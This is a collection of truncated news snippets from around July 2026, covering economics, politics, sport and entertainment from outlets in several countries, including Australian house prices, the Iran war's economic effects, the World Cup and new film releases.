‘This is just the beginning’: Sydney’s median house price falls to $1.73m Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The cost to buy the typical Sydney property has started to fall over recent months, with buyers beginning to get the upper hand as muted confidence, affordability pressures and higher interest rates combine to dent the property market. Sydney’s median house price dropped 3.3 per cent, or about $60,000 over three months to December to $1,733,891, the latest Domain House Price Report, released on Thursday, showed. This was a fall from the previous quarter’s record high and…

A person refills their semi-truck at a Pilot Traveler Center on March 9, 2026 in Lockhart, Texas. Brandon Bell \| Getty Images The U.S. economy is more vulnerable than ever to the problems in energy markets caused by the Iran war. The economy has been remarkably resilient, but the buffers that protected Americans from earlier price spikes are wearing thin. Bottom line: The war will erode Americans' standard of living this summer even if the actual fighting stays more contained than the first phase of the conflict. From President Donald Trump's perspective, having kicked off a return to direct conflict with Iran, there is now little he can do to shield…

Every weekday, the CNBC Investing Club with Jim Cramer releases the Homestretch — an actionable afternoon update, just in time for the last hour of trading on Wall Street. Stocks were mixed on Wednesday . The S \& P 500 was basically flat in late afternoon trading, while the Nasdaq was modestly weaker. Once again, it was one of those days, with a big split within technology. While many chip stocks rallied, including Nvidia 's roughly 3% gain, software stocks lagged, and the hyperscalers that are funding the AI infrastructure buildout also moved lower. The move in software may be tied to this shocking news that OpenAI models broke out of a sandboxed…

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Colombia · Politics Key Facts —New cap. As of 15 July 2026, the maximum ordinary workweek in Colombia is 42 hours. —Legal basis. Law 2101 of 2021 amended the Labour Code to phase down the cap from 48 to 42 hours. —Pay protected. The reduction does not lower monthly wages or social benefits for covered workers. —Overtime trigger. Any hour worked beyond 42 per week must be paid at overtime rates. —Who is covered. The rule applies to private-sector employees; public-sector workers are not automatically included. On 15 July 2026, Colombia took the final step in a four-year journey, lowering the maximum ordinary workweek from 44 hours to 42 hours without…

NovaGold Resources (TSX: NG) on Wednesday announced plans to buy the 40% stake it doesn't already own in Donlin Gold Holdings, creating a company valued at $4.2 billion.Why it matters: Mining M&A has hit the motherlode this year.There were $26.3 billion in deals in Q2. That's up 68% quarter over quarter, and is the second highest quarterly total since S&P began tracking the metric in 2013.Driving the news: NovaGold is acquiring the stake it does not own in the Alaskan gold miner from Paulson Advisers, creating a new U.S.-domiciled company that plans to be listed on the NYSE.This would create the "largest gold development project in the U.S.," per the…

A mortgage rate lock before this month's Federal Reserve meeting could make sense for some borrowers. Olga Yastremska/Getty Images The next Federal Reserve meeting is just days away from starting and millions of borrowers are eagerly awaiting the results of the two-day conference. While the central bank is widely expected to keep the federal funds rate on pause for another month, comments made in the press conference after the meeting could give some insight into what can happen in the interest rate climate later this year. That insight will be especially helpful for homebuyers and homeowners hoping to refinance. After some borrowers saw some relief…

North American stock markets were drifting in mixed trading Wednesday, while oil prices climbed another three per cent as fighting continues in the war with Iran. On Wall Street, the S\&P 500 slipped less than 0.1 per cent, coming off its best day in three weeks, after swinging between modest losses and gains for much of the day. The Dow Jones Industrial Average was up 61 points, or 0.1 per cent, as of 2:10 p.m. Eastern time, and the Nasdaq composite was 0.3 per cent lower. Meanwhile on Bay Street, the TSX was up by about 0.3 per cent, and helped out mainly by the mining sector, including those of gold and silver, while some technology, construction…

Brazil · Business Key Facts —Sale price. US$6.5 million, paid cash upfront by the Saudi partners. —Venture sold. Specialized Medical Treatment Company, an oncology-care firm in Riyadh. —Original ambition. Projected US$550 million in revenue within five years of launch. —Brazil debt load. Roughly R$5.1 billion (US$1.01 billion) in financial debt. —Recent loss. Net loss of R$438.7 million (US$86.5 million) in the first quarter of 2026. Oncoclínicas, Brazil’s largest cancer-treatment network, has sold its entire stake in a Saudi Arabian oncology joint venture for US$6.5 million in upfront cash, the company confirmed on 22 July 2026. It operates a network…

Brazil · Business Key Facts —Current Ibovespa level. The index closed near 173,326 points on July 21, 2026. —Implied upside. The 185,000 target suggests a gain of roughly 6.7% by year-end. —Brazilian interest rate. The Selic base rate stands at 14.25%, with an August decision pending. —Year-to-date rally. The Ibovespa had already surged about 29% in 2026 by late July. —US dollar exchange rate. The Brazilian real traded at 5.07 per US dollar on July 21, 2026. Brazil’s benchmark Ibovespa stock index closed near 173,326 points on July 21, 2026, and the research team at Itaú BBA, the investment banking arm of Brazil’s largest private-sector bank, sees…

The unprecedented protests by students across the country following the NEET question paper leak are not merely about one compromised examination. They reflect a deeper crisis of confidence in a system that was projected as the ultimate guardian of merit. When lakhs of students lose faith in the fairness of the process that determines their future, the nation’s conscience is shaken. Tamil Nadu was the first State to raise the red flag against NEET — not because of irregularities in its conduct, but because of the very philosophy behind a single, high-stakes national examination deciding the future of every aspiring medical student. The problem was…

Melania Trump publicly denies ties to Jeffrey Epstein, calling for an end to disgraceful lies and demanding congressional action for survivors. The first ladys senior advisor Marc Beckman explains. NEWYou can now listen to Fox News articles! First lady Melania Trump filed a motion for sanctions on Tuesday against journalist Michael Wolff. Wolff unsuccessfully sued Melania Trump to keep her from suing him for $1 billion for alleged defamatory statements he made about her involvement with Jeffrey Epstein. Earlier this year, a federal judge tossed Wolff’s lawsuit against the first lady, calling it a "contorted" effort and "not how the federal courts…

Ontario Emergency Preparedness Minister Jill Dunlop defended the province's wildfire response on CBC Radio on Tuesday, but her staff abruptly cut the interview short after she was asked to respond to criticism from community leaders. With wildfires burning across much of northwestern Ontario, Dunlop's office is responsible for co-ordinating emergency evacuations, shelter and wraparound services for people fleeing the flames. Several community leaders, including First Nations chiefs, have criticized the province's emergency response as slow, disorganized and unco-ordinated. When As It Happens host Nil Köksal raised those concerns with Dunlop, the…

Concerned Women for America spokesperson Macy Petty Charles and assistant United States attorney Julie Hamill discuss the Supreme Court's decision allowing states to ban transgender athletes from competing in girls' sports on ‘Fox News @ Night.’ NEWYou can now listen to Fox News articles! Several vulnerable House Democrats are breaking with their party on men competing in women’s sports as Republicans continue to hammer the issue ahead of November's midterm elections. Reps. Shomari Figures and Terri Sewell, D-Ala., joined Republicans in voting for an amendment to the annual defense policy bill Tuesday that would bar biological males from participating…

"The View" co-host Sunny Hostin claimed on Wednesday that the hearings on Capitol Hill scrutinizing the Smithsonian Institution were about the Trump administration avoiding paying reparations to Black Americans. NEWYou can now listen to Fox News articles! "The View" co-host Sunny Hostin claimed Wednesday that the Congressional hearings on the Smithsonian institution were about the Trump administration not wanting to award reparations to the descendants of slaves. Smithsonian National Museum of American History Director Dr. Anthea Hartig faced questions on Capitol Hill on Tuesday after a White House report published earlier this month found that the…

Policemen stand guard during the protest at Jantar Mantar in New Delhi on Wednesday. \| Photo Credit: REUTERS Bharatiya Janata Party (BJP) leaders on Wednesday defended the Centre’s handling of the Cockroach Janta Party (CJP) protest, with MP Bansuri Swaraj saying the government had acted with “sensitivity” and remained open to dialogue. Her party colleague and Delhi Minister Parvesh Sahib Singh said Monday’s march to Parliament was “not peaceful” and its organisers must be held accountable for “outright lawlessness”. ‘Students are a priority’ Addressing a press conference, Ms. Swaraj said the government’s priority is to protect the students and…

The Cross River State House of Assembly on Wednesday passed for second reading a bill seeking to prohibit same-sex marriage and civil unions in the state. The bill also seeks to bar the solemnisation and recognition of same-sex marriages, including those contracted outside the state, regardless of culture, tradition or existing law. Sponsor of the bill, Hilary Bisong, member representing Boki II State Constituency, said during the plenary that the proposal was rooted in biblical teachings on marriage. Mr Bisong cited Genesis 1:27 and 2:24, describing marriage as a union between a man and a woman. He also referenced the account of Sodom and Gomorrah…

The Presidency has said that the letter by the United States President Donald Trump to President Bola Tinubu is a testament of the progress the current administration has made. Special adviser to the president Tinubu on Policy Communications, Daniel Bwala, made this assertion on Wednesday when he appeared as a guest in an interview on Channels Television’s Politics Today. He was speaking on the US President’s letter to President Tinubu. DAILY POST reports that Trump on Wednesday wrote to Tinubu, expressing appreciation for what he described as the Nigerian leader’s “decisive leadership” and efforts to tackle security challenges in the country.…

Venezuela's ousted president and his wife will go on trial next year to face charges that include 'narco-terrorism' conspiracy and cocaine importation conspiracy. Maduro also faces a civil case in the US that alleges he commanded an elite security force to execute five young men between 2017 and 2020 as part of a wider pattern of state violence.

Fox News' Eric Shawn reports on New Jersey Gov. Mikie Sherrill announcing the removal of non-citizens from voter rolls following a software glitch under former Gov. Phil Murphy. Shawn details how a Motor Vehicle Commission error registered approximately 6,600 non-citizens between June 2023 and June 2024, resulting in fewer than 400 individuals casting ballots in municipal, state and federal elections. NEWYou can now listen to Fox News articles! Democratic Sen. Richard Blumenthal is facing scrutiny after new records showed an illegal immigrant whose release from ICE custody he championed was registered to vote in Connecticut. "Cecunjanin has made a…

Washington — The Senate Intelligence Committee advanced Jay Clayton's nomination for director of national intelligence on Tuesday, despite opposition from Democrats following his confirmation hearing earlier this month. In a 9 to 8 vote, the committee voted along party lines to advance Clayton's nomination to the floor, GOP Sen. Tom Cotton of Arkansas, the committee chairman, announced Tuesday. "Jay Clayton is a highly qualified nominee with a deep experience combatting a wide range of national security threats," Cotton said in a statement. "I'm pleased that the Senate Intelligence Committee voted to advance his nomination to be Director of National…

Even though more than two months have passed since Chief Minister N. Rangasamy of the All India N. R. Congress took oath on May 13, 2026, the Union Territory still has no portfolio allocation. \| Photo Credit: The Hindu Within weeks, the Puducherry government will present its first Budget since the National Democratic Alliance (NDA) returned to power. A maiden Budget is more than a statement of accounts; it is a government’s first declaration of priorities — a blueprint for development, welfare, infrastructure, and governance for the coming year. Yet Puducherry approaches this constitutional exercise under extraordinary circumstances. Even though more…

The Allied People’s Movement (APM) has expressed confidence that its 2027 presidential candidate, Governor Seyi Makinde of Oyo State, will defeat President Bola Tinubu in the next general election. The party made the claim in a statement issued on Wednesday by its National Publicity Secretary, Abubakar Yusuf, while reacting to recent remarks by Presidential spokesman Daniel Bwala, who reportedly described Makinde as inconsequential. According to the APM, the Presidency’s comments reflected growing concern over Makinde’s rising political profile ahead of the 2027 presidential election. Yusuf said the 2027 election would ultimately determine who was…

The National Chairman of the Social Democratic Party (SDP), Prof. Sodiq Abubakar Gombe, said the party secured a Federal High Court judgment in Abuja on Wednesday directing the Independent National Electoral Commission (INEC) to recognise Dr Adebayo Ajala as the party’s sole candidate for the Osun State governorship election scheduled for August 8, 2026. He disclosed this during a briefing at the party’s national headquarters in Abuja on Wednesday. According to him, the judgment of the Federal High Court in Abuja is a victory for the party’s leadership. He said the opposition party is awaiting the Certified True Copy (CTC) of the judgment to serve on…

Washington — Another deadline to fund the government is looming this fall in Congress, with members fresh off a series of shutdown fights that have left them eager to avoid another costly impasse ahead of the midterm elections. But as lawmakers warn about the coming funding cliff, they have yet to agree on a path forward. Current funding expires at the end of the fiscal year on Oct. 1. Last week, as the House appeared poised to move on a stopgap measure to keep the government funded, across the Capitol in the Senate, Majority Leader John Thune told CBS News that "we are in discussions on that," noting that "we're working on solutions to fund the…

Fox News’ Bryan Llenas reports on Maine Democrats strongly supporting Troy Jackson, who is set to become the Senate nominee after Graham Platner's primary victory ended due to rape allegations. The Maine Republican Party criticizes this nomination process, calling it a 'sham.' NEWYou can now listen to Fox News articles! Former Maine Senate President Troy Jackson, the presumed replacement to Graham Platner on the Democratic ticket for U.S. Senate, has a long history of emphasizing the importance of democracy despite being set to accept a nomination without a single vote being cast for him. "I've always believed that our democracy is at its best when…

Activists and celebrities came together in solidarity with the ongoing student protests in New Delhi, triggered by the NEET question paper leak, as a series of demonstrations were held in Kochi on Wednesday. Protest meetings were organised at Maharaja’s College, Panampilly Nagar and Kacheripady by different groups in solidarity with the Cockroach Janata Party-led agitation in Delhi. Addressing a protest meeting at Maharaja’s College, organised by the college union under the banner “In Solidarity with the Youth of the Nation,” writer N.S. Madhavan said he was deeply concerned over the alleged involvement of masked civilians supporting the Central…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Iran's top diplomat Abbas Araghchi warned Wednesday that Iran would retaliate in kind to any attack on its infrastructure, after U.S. President Donald Trump threatened to bomb a bridge or power plant for every ship attacked in the Strait of Hormuz. "Our defence doctrine is clear: eye for an eye. Any aggression against Iran, including our infrastructure, will compel a powerful and decisive response," Araghchi said on X. Iran's state broadcaster quoted the military as saying that U.S. threats "will have no result other than the expansion of the war". The remarks came hours after Trump warned that Washington would strike Iranian infrastructure if Tehran…

Labour MP Stella Creasy has been ridiculed after mistaking one of London's famous parakeets for a lost pet parrot. The MP for Walthamstow posted a video to Instagram yesterday afternoon with the caption: 'Have you lost a parrot in Walthamstow? Please share!' commenting that the bird was 'too big to be a parakeet'. Her 231,000 followers were left bemused after she then filmed one of the recognisable local birds – with green feathers and a red beak – in Lloyd Park, north London. There are around 30,000 to 50,000 ring-necked parakeets living in and around London, with hotspots in Richmond Park, Hampstead Heath and Regent's Park after self-sustaining…

Canadian spending on travel to the U.S. declined by $3.3 billion in 2025 amid the ‘Buy Canadian’ movement, new data shows. Data released by Statistics Canada on Wednesday states that in 2025, “Canadians shifted outbound leisure travel away from the United States (-21.5 per cent; -3.2 million visits) in favour of overseas options (+12.2 per cent; +1.1 million visits).” Travel to visit family and friends in the U.S. also declined nine per cent in 2025. In total, Canadian travel spending to the U.S. equaled $18.8 billion in 2025, while spending on overseas travel came to $81.3 billion. A large part of the decrease in spending on travel to the U.S. was…

Davis Alexander and the Montreal Alouettes can really help themselves Sunday night. Montreal (5-1) hosts the Hamilton Tiger-Cats (3-3) in a key East Division matchup. A fourth straight win would not only move the Alouettes six points ahead of the Ticats atop the standings but also give them the season series, which is the tiebreaker if the two teams finish the regular season tied. Montreal opened 2026 with a 30-27 overtime road win over Hamilton. The six-foot, 210-pound Alexander leads the CFL in passing (2,181 yards) and 30-plus yard completions (17). He has thrown for 300 or more yards in all six of his starts. Alexander threw for 336 yards and two…

Only ONE England player makes FIFA's 2026 World Cup team of the tournament as fans choose Man United star in defence - and cult hero gets the nod By HARRY BAMFORTH, LIVE SPORTS COVERAGE REPORTER Published: 15:44 EDT, 22 July 2026 \| Updated: 15:45 EDT, 22 July 2026 FIFA have only selected one England player in their World Cup team of the tournament. After six weeks of action in the United States, Canada, and Mexico, in which Spain ended up adding a second star to their crest after beating Argentina at MetLife Stadium on Sunday, the football governing body has announced their ‘Dream XI’. The team of the tournament is selected based on votes from the…

The World Cup may be over, but there are still plenty of ways you can get your soccer fix. The Major League Soccer season is currently up and running, where you can watch teams from across the US compete for the top spot. To help you keep up with the matches, I’ve broken down everything you need to know about the MLS season, including when it runs and where you can stream. ## When is the 2026 MLS season? The 2026 MLS regular season kicked off on February 21 and runs through November 7. The league went on a pause period for the FIFA World Cup on May 25 and resumed matches on July 16, with the MLS All-Star Game taking place on July 29. Each of the 30…

Is Pat McAfee officially saving a "woke" ESPN as he nears a massive new contract extension? Dan Dakich breaks down how the College GameDay star is completely dethroning Stephen A. Smith to become the undisputed face of the network. Penultimate Hump Day of July AND we have NFL teams reporting for training camp today? How lucky are we? It's all coming together, folks. I can smell it. We're grinding right now, but it's close to paying off. August begins next week. This Saturday marks the five-week countdown to our first college football game of the year. Five weeks. I've got cartons of milk in the fridge older than that. Who has it better than us, boys…

With 10 sports crammed into 10 full days of action in Glasgow, it may be hard to keep track of what's on and when at the Commonwealth Games. So, here's the full schedule of every day of the 2026 Glasgow Commonwealth Games with all times and days in AEST. You can find the full official schedule here. Organisers say all schedule details are subject to change, depending on a number of criteria. Day 0 (July 23-24) Aussie watch: There was not supposed to be any competition on Thursday before the opening ceremony, but an extra session of bowls and para bowls was added because of what organisers described as "unprecedented demand". Bowls (6:30pm to 1:25am)…

Abba Mika Kofar Mata is currently undergoing trials with Nigeria Premier Football League, NPFL, side Barau FC, DAILY POST reports. Kofar Mata joined the Maliya Boys training sessions this week as he seeks to impress the technical crew. Barau FC technical crew are evaluating the player before making a final decision. Kofar Mata featured prominently for Bichi First FC during the 2025-26 Nigeria National League, NNL, season. The winger is known for his pace, direct running and ability to take on defenders. Barau FC are looking to add more attacking depth ahead of the 2026-27 campaign.

A 'mindless' influencer has been blasted for dumping a bath at the top of a 3000ft mountain in the Brecon Beacons. Tom Christopher, 35, carried the tub up Pen y Fan- the highest peak in South Wales- in an attempt to break the record for the 'world's highest bath' and had planned to leave it there for 48 hours. He said: 'I just wanted to do something crazy and make a funny, cool video showing me taking a bath up Pen y Fan whilst watching the sunset.' After filming himself manoeuvring the heavy household object up the peak on Thursday, July 16, Mr Christopher said he put up signs at the bottom of the mountain asking people to help him fill up the bath…

Ned Michaels explains the friction that has been growing between Rory McIlroy \& Bryson DeChambeau For most sports and golf fans, the PGA TOUR season effectively ended last week after The 154th Open Championship, golf's final major of the year. However, there are no weeks off for us golf-betting degenerates, and the money won at this week's 3M Open at TPC Twin Cities in Blaine, Minnesota, is still green. TPC Twin Cities is a classic Midwest birdie-fest designed by Arnold Palmer, where low scores are mandatory. With water hazards lurking on 15 holes, driving accuracy and precise iron play are crucial. While the bentgrass greens are gentle, spraying off…

Darts star has to be helped off stage after suffering health scare during World Matchplay clash as he's forced to withdraw from tournament By MICHAEL PAVITT, SPORTS REPORTER Published: 15:06 EDT, 22 July 2026 \| Updated: 15:20 EDT, 22 July 2026 Darts star Cameron Menzies was helped off stage after falling unwell during the World Matchplay Darts. Menzies had been leading Ross Smith in his second round match when he appeared to sway and look faint on stage. He was seen speaking to a tournament official and bent over, before being helped off by Smith. 'We are having a break in our first match because Cameron Menzies is unwell,' presenter Emma Paton told…

Rep. Jasmine Crockett, D-Texas, claimed that Argentina has a "racist history" that prompted World Cup fans to root against the country. (Credit: House Oversight Committee) NEWYou can now listen to Fox News articles! Progressive Rep. Jasmine Crockett, D-Texas, is garnering widespread mockery for her "delusional" claim that FIFA World Cup fans rooted against Argentina due to the country’s "racist history." During a House Oversight and Government Reform Subcommittee hearing on Tuesday, Crockett remarked that the World Cup "captured the imaginations of the entire world when they saw all of these people of color that was playing for all these teams."…

The Chiefs released their first renderings of how the new stadium might look. Chiefs/MANICA After a six-month design competition for their new stadium, the Kansas City Chiefs announced that locally-based MANICA will be the lead design architect for the Chiefs new stadium. “It is the honor of a lifetime to be entrusted with designing the next home of the Kansas City Chiefs in our hometown,” David Manica, president and owner of MANICA said in a press release. Along with the news of who will design the stadium, the first renderings and details were released for the stadium, which is slated to open for the 2031 NFL season. Here is a breakdown of the new…

Host of 'The Sage Steele Show' Sage Steele criticizes WNBA officiating and its impact on Caitlin Clark. She argues the league's mishandling of Clark and consistent no-calls for egregious fouls are detrimental to the sport. Caitlin Clark’s popularity has reached a new level. It’s no longer noteworthy simply because she delivers another massive television audience. Now, major networks are simultaneously claiming that they carried the most-watched WNBA game of the season. Of course, both games included Clark and the Indiana Fever. CAITLIN CLARK DECLINES WNBA 3-POINT CONTEST INVITATION, DEALING MAJOR BLOW TO ALL-STAR WEEKEND AND ESPN CBS Sports announced…

That day is still fresh in memory. Because that innings is fresh in memory. The winter was setting in at Raipur. The Shaheed Veer Narayan Singh Stadium, some 20 kms away from the city, looked more imposing than usual as it was virtually empty. There were hardly any spectators for the Senior Women’s T20 Challenger Trophy back in 2022. It was a pity that Yastika Bhatia’s unbeaten 99 for India-D against India-C was watched only by a few. It was a masterclass in T20 batting. She was technically correct, played proper cricketing shots, chose the right balls to hit, and struck at a rate of 162. The only thing she got wrong was counting the balls: otherwise,…

As we adjust our body clocks from the FIFA World Cup, you would do well to stay a little out of whack as the 2026 Commonwealth Games kicks off in Glasgow. It's been an unusually rocky road for the sporting carnival, so here's what you need to know. When are the Glasgow Commonwealth Games on? The 2026 Commonwealth Games start on July 23 and run through until August 2 (the early hours of August 3 in Australia). The first event of the Games takes place on Day Zero, with an extra session of bowls and para bowls added to the schedule (from 6:30pm AEST July 23 to 1:25am July 24) due to "unprecedented demand". Whether you are you a family member, a friend, a…

Former Super Eagles midfielder, Seyi Olofinjana, has shared his thoughts on being left out of Nigeria’s squad for the 2010 FIFA World Cup, saying that no one even cared to explain his omission despite his significant contributions during the qualification process. Olofinjana, who represented the Super Eagles 48 times from 2000 to 2011, expressed his disappointment at missing the tournament, particularly after having captained the team in several qualifying matches. In an interview on the Play Zone podcast, the former Hull City midfielder expressed his confusion regarding the decision, emphasizing that neither the coaching staff nor the Nigeria…

By JAKE FENNER, US SPORTS WRITER Published: 12:11 EDT, 22 July 2026 \| Updated: 14:57 EDT, 22 July 2026 A Chicago Cubs fan who smacked another spectator who did not stand for The Star-Spangled Banner is speaking out after a video of the incident went viral. The video drew strong and divided reactions on social media, with public opinion split on the older man's actions. Now, he has spoken out on the incident, which happened during the 10-1 win against the Minnesota Twins at Wrigley Field on Sunday, in various interviews. Robert Chavez claimed that an important element of the story is missing. In the video, he is seen yelling at the younger man - who…

Chelsea are set to announce a new contract for youngster Shim Mheuka at Stamford Bridge before he embarks on a loan for the 2026/27 season, as reported by football.london. The 18-year-old forward has less than a year remaining on his current contract, with an option for an additional year, but sources indicate that the striker is nearing an agreement with the Blues. Once Mheuka finalizes his new terms at Cobham, the highly regarded academy forward is expected to be loaned out for the upcoming season. Numerous clubs from Europe’s top five leagues, along with EFL teams, have expressed strong interest in acquiring Mheuka on loan. Chelsea are anticipated…

Rangers intend to contest a four-match touchline ban given to manager Derek McInnes for describing as "disgusting" the decision to award Celtic a late penalty at Motherwell in May. The comments, made at the end of last season when McInnes was in charge of Hearts, related to a stoppage-time spot-kick for handball that was converted by Kelechi Iheanacho. Celtic's 3-2 victory at Fir Park on 13 May kept them one point behind Hearts, who they beat to the title a few days later in a final-day decider. Responding to the Scottish FA penalty, which is an immediate three-game ban with one suspended until the end of the season, Rangers say the remarks were…

Arsenal have turned their attention to RB Leipzig forward, Yan Diomande and have made inquiries regarding the 19-year-old, as reported by football.london. The club has been actively seeking an upgrade for the left wing, with Diomande being one of the players under consideration. Mikel Arteta’s team is among several clubs keen to stay updated on the situation of the Ivorian international. The Gunners have faced setbacks in their pursuit of new wide players, particularly after losing out on Morgan Rogers to Chelsea for £117 million. Rogers opted for the West London club despite Arsenal’s prolonged interest, as they were unable to meet the asking price,…

The latest "Dune: Part 3" trailer arrived back on July 8, and it was a sumptuous banquet of startling set pieces, intergalactic political unrest, close-quarter combat, and a whole lot of sand and ash. A fine follow-up tothe initial March teaser, to be sure. After letting it marinate in our minds for a while, let’s break down five items of particular interest in this newest preview of the Denis Villeneuve-directed conclusion to his trilogy of far-future sci-fi epics adapted from author Frank Herbert’s novels, "Dune" and "Dune: Messiah." Set 17 years after Paul Atreides (Timothée Chalamet) has ascended to the Emperor’s throne, "Dune: Part 3" explores…

ROME: Rome will offer free screenings in 11 air-conditioned cinemas as part of a heat-relief plan Mayor Roberto Gualtieri presented on Wednesday (Jul 22), while most of Europe was sweltering through a hot summer. The scheme, named after the 1983 US film classic Il Grande Freddo (The Big Chill), will run from Thursday to Aug 4, expanding an existing network of climate shelters in the Italian capital including public libraries and museums. "Beautiful films, including recent releases, will be screened," Gualtieri said in a press conference. The free screenings will take place between 1pm and 6.30pm, with admission on a first-come, first-served basis. The…

Liminal spaces aren’t just for furniture stores: they’re pretty terrifying when they’re outside, too. Following the success of Backrooms, Neon has its own take on in-between places with first-time director Alex Ullom’s It Ends. And while it’s not accurate to say that It Ends was influenced by Backrooms—Ullom wrote the film eight years ago, according to Esquire—the timing is certainly auspicious. The first trailer, which dropped today, sets an ominous tone as four recent college graduates (Phinehas Yoon, Akira Jackson, Noah Toth, and Mitchell Cole) take what they think is a shortcut but turns out to be a endless road from which they cannot escape.…

“If you bought fish at the market, put it in water. If it sinks, it’s fresh; if it floats, it’s bad.” Thus begins a video that has already been seen by more than 25 million people. The protagonist is Paco del Campo, an elderly man with a charming appearance who offers advice on diet and health. This is not an isolated case. In recent weeks very similar videos have proliferated and have also racked up millions of views. We can cite three examples, such as Eduardo, a middle-aged man who presents himself as an “expert in holistic health and a dietitian” and warns us about the alleged dangers of pangasius, tilapia and salmon in a video that begins: “Never…

Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA It’s mid-April, and director Trent O’Donnell is on his lunch break from filming season three of Colin from Accounts at Sydney’s Centennial Park with the show’s stars and creators, Patrick Brammall and Harriet Dyer. “What embarrassing Patty stories do we have?” he wonders. There was that time Brammall was called “blandly handsome” by The New York Times (“wildly accurate,” says O’Donnell), or that time Brammall was mistaken for fellow actor Brendan Cowell (“Happens all the time,” says O’Donnell), but his favourite? That time Brammall was mistaken…

The depths of winter demand a night in with a great movie. The problem? Choice paralysis. Every streaming platform has thousands of films available. To cut through that, here are 30 great hand-picked movies on Netflix right now. Don’t have Netflix? Check out our guides on Stan*, HBO Max and Amazon Prime Video. Atlantics (2019) A rightful Cannes Film Festival winner, Mati Diop’s spectral romance is about the many borders – emotional, physical and existential – that impact a young Senegalese woman and her partner after he attempts the risky journey to Europe before returning in a different form. Cargo (2017) One of the great zombie movies is a…

For months, Elon Musk and the right-wing cranks he caters to on X have whipped themselves into a raging froth over the supposed desecration of an ancient Greek poem by one of the most successful movie directors alive. Now that their manufactured backlash has bombed, they’re searching for ways to cope with the reality that they are increasingly divorced from popular opinion. Christopher Nolan’s artistic crimes in bringing The Odyssey to the screen, according to Musk and others in a furor, were instances of what they called “historical inaccuracy” in a lavish fantasy teeming with monsters, witches, and undead spirits—mainly the casting of Lupita…

Nigerian music executive, Soso Soberekon, has traditionally tied the knot with his lover. Announcing the good news on Wednesday evening in an Instagram post, Soso disclosed that he has been taken. He wrote, “I have beeen taken,” as he accompanied the announcement with the hashtag #Sobeau2026. The announcement has drawn warm reactions from Nigerians, including his colleagues in the entertainment industry. Singer Tiwa Savage wrote, “Huge congratulations.” Singer Kcee wrote, “Congratulations to you, my brother.” Obi Cubana wrote, “Congratulations, big Soso.” Brother Shaggi wrote, “Congratulations, brother.” AY Comedian wrote, “Congratulations, bro. We…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Elon Musk made headlines overnight when he expressed interest in funding a hypothetical film production of The Odyssey directed by Mel Gibson. The billionaire quickly pivoted to a pledge to just make the same feature-length movie with his AI tool Grok and shared an example of what that might look like. As you can probably guess, it looks like dogshit. Musk has spent recent weeks complaining about Christopher Nolan’s new version of The Odyssey, which has raked in over $300 million globally since its blockbuster debut last weekend. The Tesla CEO and his legion of whiny man-babies believe the film is too woke since it contains non-white actors and a…

‘First show’ tickets had been sold for as high as ₹500 to ₹700 in certain pockets of Tamil Nadu. Despite having been leaked online ahead of its theatrical release, Jana Nayagan, starring Chief Minister C. Joseph Vijay, has witnessed strong advance ticket sales across Chennai and its neighbouring districts, though the response has been mixed in other parts of Tamil Nadu. While some cinemas reported a full house over the weekend, others said bookings were highest for the opening day, with Friday witnessing a comparatively low demand. Cinema owners added that bookings had been driven largely by members of the Tamilaga Vettri Kazhagam (TVK), youngsters…

When you’re looking for a great miniseries to binge over a weekend, your first stop is most likely HBO Max for shows like Watchmen and True Detective, or Netflix, for the likes of The Haunting of Hill House and Midnight Mass. But while Disney Plus has not been one to brand itself as the home of great limited series, there are still some truly perfect miniseries on the streamer. Thanks to Disney owning the likes of Hulu, Star Wars, Marvel, and numerous other properties, it boasts a pretty impressive array of limited series under its umbrella. Here are seven miniseries that are absolutely perfect from start to finish. 1 WandaVision The Marvel Cinematic…

In some ways, the omnipresence of mystery in everyday life can be comforting. Why is it always cold at the end of the hallway? How did my cat make that noise at 2 in the morning? Why does my car’s brake light keep going out on the driver’s side? Sure, there may be explanations, but I’m not going to be the one to get to the bottom of this. I didn’t grow up watching Ghostbusters aspirationally. Today’s gossip raises the age-old question: Who you gonna call? If your house might actually be haunted and your kids are freaking out, you’d better come up with an answer. Our guest this week is Amber Singletary, a comedian, writer and host of the Judgy series…

Alan Ritchson in "Motor City." Independent Film Company Reacher star Alan Ritchson’s new revenge thriller Motor City is revving up some positive reviews from Rotten Tomatoes critics. Rated R, Motor City plays in preview screenings on Thursday before opening in theaters on Friday. In Motor City, which is set in Detroit in the 1970s, Ritchson stars as John Miller, a working-class local who is framed by a powerful gangster and sent to prison after he falls in love with the criminal’s girlfriend. When Miller is released from years of lock-up, he seeks revenge on the man who put him there. Forbes‘Masters Of The Universe’ Prime Video Streaming Release This…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Harrowing new photos have emerged of the aftermath of Kaylee Hottle's fatal car crash on Tuesday. The deaf actress, 18, was a passenger in a 1995 Honda Accord that veered off the road and slammed into a ditch on Tuesday, with speed playing a factor according to local law enforcement. Hottle's death was confirmed by her father. Two others were in the vehicle at the time, and both survived the accident. The driver, 19, suffered non-life-threatening injuries, while another passenger did not receive treatment at the scene, according to the Frederick County Sheriff’s Office. Kaylee played a young girl who could communicate with King Kong using sign…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

